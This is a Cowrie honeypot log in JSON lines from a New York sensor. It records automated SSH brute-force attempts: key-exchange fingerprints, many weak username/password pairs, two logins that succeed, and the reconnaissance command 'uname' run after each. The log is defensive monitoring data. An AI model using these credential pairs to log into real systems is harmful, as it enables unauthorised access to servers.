{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:22.034537Z","src_ip":"192.109.200.78","session":"87378f961f21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"runner","message":"login attempt [runner/runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:22.578772Z","src_ip":"192.109.200.78","session":"87378f961f21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42490,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d95835c4031","protocol":"ssh","message":"New connection: 159.203.92.129:42490 (159.203.135.109:22) [session: 2d95835c4031]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:23.582182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:23.587502Z","src_ip":"159.203.92.129","session":"2d95835c4031","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:23.594798Z","src_ip":"159.203.92.129","session":"2d95835c4031","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Zaq12wsx!","message":"login attempt [admin/Zaq12wsx!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:23.605393Z","src_ip":"159.203.92.129","session":"2d95835c4031","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:23.671468Z","src_ip":"192.109.200.78","session":"87378f961f21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:24.614399Z","src_ip":"159.203.92.129","session":"2d95835c4031","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47150,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ef44f942509","protocol":"ssh","message":"New connection: 192.109.200.78:47150 (10.17.0.5:22) [session: 5ef44f942509]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:25.641473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:25.646554Z","src_ip":"192.109.200.78","session":"5ef44f942509","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:25.731103Z","src_ip":"192.109.200.78","session":"5ef44f942509","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"esuser123","message":"login attempt [esuser/esuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:25.983372Z","src_ip":"192.109.200.78","session":"5ef44f942509","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:27.067953Z","src_ip":"192.109.200.78","session":"5ef44f942509","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39808,"dst_ip":"10.17.0.5","dst_port":22,"session":"030dffd1e8ba","protocol":"ssh","message":"New connection: 192.109.200.78:39808 (10.17.0.5:22) [session: 030dffd1e8ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:29.769969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:29.775423Z","src_ip":"192.109.200.78","session":"030dffd1e8ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:29.857177Z","src_ip":"192.109.200.78","session":"030dffd1e8ba","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123","message":"login attempt [steam/123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:30.109924Z","src_ip":"192.109.200.78","session":"030dffd1e8ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.42.229.203","src_port":48056,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b6f0b374157","protocol":"telnet","message":"New connection: 5.42.229.203:48056 (159.203.135.109:23) [session: 6b6f0b374157]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:30.240294Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:30.330287Z","src_ip":"192.109.200.78","session":"030dffd1e8ba","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:30.333920Z","src_ip":"192.109.200.78","session":"030dffd1e8ba","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:30.420013Z","src_ip":"192.109.200.78","session":"030dffd1e8ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:30.426479Z","src_ip":"192.109.200.78","session":"030dffd1e8ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39814,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca49f925bdee","protocol":"ssh","message":"New connection: 192.109.200.78:39814 (10.17.0.5:22) [session: ca49f925bdee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:33.720666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:33.725343Z","src_ip":"192.109.200.78","session":"ca49f925bdee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:33.807172Z","src_ip":"192.109.200.78","session":"ca49f925bdee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123456","message":"login attempt [hadoop/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:34.053607Z","src_ip":"192.109.200.78","session":"ca49f925bdee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:35.141609Z","src_ip":"192.109.200.78","session":"ca49f925bdee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39820,"dst_ip":"10.17.0.5","dst_port":22,"session":"40e2a471ac01","protocol":"ssh","message":"New connection: 192.109.200.78:39820 (10.17.0.5:22) [session: 40e2a471ac01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:37.840771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:37.848681Z","src_ip":"192.109.200.78","session":"40e2a471ac01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:37.934758Z","src_ip":"192.109.200.78","session":"40e2a471ac01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd123","message":"login attempt [root/P@ssw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:38.190008Z","src_ip":"192.109.200.78","session":"40e2a471ac01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:39.282812Z","src_ip":"192.109.200.78","session":"40e2a471ac01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42634,"dst_ip":"10.17.0.5","dst_port":22,"session":"205f1960b9ce","protocol":"ssh","message":"New connection: 192.109.200.78:42634 (10.17.0.5:22) [session: 205f1960b9ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:41.943925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:41.947558Z","src_ip":"192.109.200.78","session":"205f1960b9ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:42.029620Z","src_ip":"192.109.200.78","session":"205f1960b9ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp123","message":"login attempt [ftp/ftp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:42.581696Z","src_ip":"192.109.200.78","session":"205f1960b9ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:43.667412Z","src_ip":"192.109.200.78","session":"205f1960b9ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42636,"dst_ip":"10.17.0.5","dst_port":22,"session":"173ad22f2301","protocol":"ssh","message":"New connection: 192.109.200.78:42636 (10.17.0.5:22) [session: 173ad22f2301]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:46.237739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:46.333281Z","src_ip":"192.109.200.78","session":"173ad22f2301","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:46.415141Z","src_ip":"192.109.200.78","session":"173ad22f2301","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:46.975574Z","src_ip":"192.109.200.78","session":"173ad22f2301","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:47.189175Z","src_ip":"192.109.200.78","session":"173ad22f2301","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:39:47.192548Z","src_ip":"192.109.200.78","session":"173ad22f2301","protocol":"ssh"}
